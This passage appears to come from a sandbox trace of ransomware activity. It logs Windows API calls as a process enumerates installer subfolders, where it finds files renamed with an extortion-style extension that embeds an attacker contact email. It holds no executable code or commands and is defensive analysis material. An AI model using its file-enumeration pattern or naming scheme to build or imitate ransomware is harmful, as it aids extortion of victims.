nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.652] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x739b662, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x739b662, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73c185d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.652] FindClose (in: hFindFile=0x5da310 | out: hFindFile=0x5da310) returned 1 [0205.653] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0205.653] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x70eccf8, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x70eccf8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="1028", cAlternateFileName="")) returned 1 [0205.653] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0205.654] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x70eccf8, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x70eccf8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x5da3d0 [0205.655] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x70eccf8, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x70eccf8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0205.655] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x767047d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x767047d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x769659b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.655] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x769659b, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x769659b, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x76bc70d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.655] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x70a0732, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x70a0732, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x70eccf8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.656] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x70a0732, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x70a0732, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x70eccf8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.656] FindClose (in: hFindFile=0x5da3d0 | out: hFindFile=0x5da3d0) returned 1 [0205.657] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0205.657] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="1029", cAlternateFileName="")) returned 1 [0205.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0205.657] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x5da310 [0205.660] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0205.660] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x76e2aad, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x76e2aad, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x76e2aad, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.660] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x76e2aad, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x76e2aad, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x800288c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.661] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x72441bf, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x72441bf, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.661] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x72441bf, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x72441bf, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.661] FindClose (in: hFindFile=0x5da310 | out: hFindFile=0x5da310) returned 1 [0205.662] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0205.662] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="1030", cAlternateFileName="")) returned 1 [0205.662] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0205.662] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x5da310 [0205.663] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0205.663] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7708c77, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7708c77, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7708c77, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.664] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x772ef7a, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x772ef7a, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x772ef7a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.664] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x72441bf, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x72441bf, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.664] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x72441bf, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x72441bf, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.664] FindClose (in: hFindFile=0x5da310 | out: hFindFile=0x5da310) returned 1 [0205.665] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0205.665] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x732902c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="1031", cAlternateFileName="")) returned 1 [0205.665] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0205.665] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x732902c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x5da310 [0205.667] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x732902c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0205.667] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x772ef7a, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x772ef7a, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x80e7938, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.667] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7da026f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7da026f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7da026f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.667] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7302cc7, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x732902c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.667] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7302cc7, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x732902c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.667] FindClose (in: hFindFile=0x5da310 | out: hFindFile=0x5da310) returned 1 [0205.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0205.668] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="1032", cAlternateFileName="")) returned 1 [0205.668] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0205.668] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x5da410 [0205.670] FindNextFileW (in: hFindFile=0x5da410, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0205.670] FindNextFileW (in: hFindFile=0x5da410, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7dc6520, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7dc6520, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7dc6520, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.670] FindNextFileW (in: hFindFile=0x5da410, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7dc6520, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7dc6520, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7dec7e1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.670] FindNextFileW (in: hFindFile=0x5da410, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x732902c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.670] FindNextFileW (in: hFindFile=0x5da410, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x732902c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.670] FindClose (in: hFindFile=0x5da410 | out: hFindFile=0x5da410) returned 1 [0205.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0205.671] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x740ddd0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="1033", cAlternateFileName="")) returned 1 [0205.672] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0205.672] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x740ddd0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x5da310 [0205.673] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x740ddd0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0205.673] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7dec7e1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7dec7e1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8264d9d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.674] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7eab335, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7eab335, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7eab335, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.674] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x732902c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x748055f, ftLastWriteTime.dwHighDateTime=0x1d5359b, 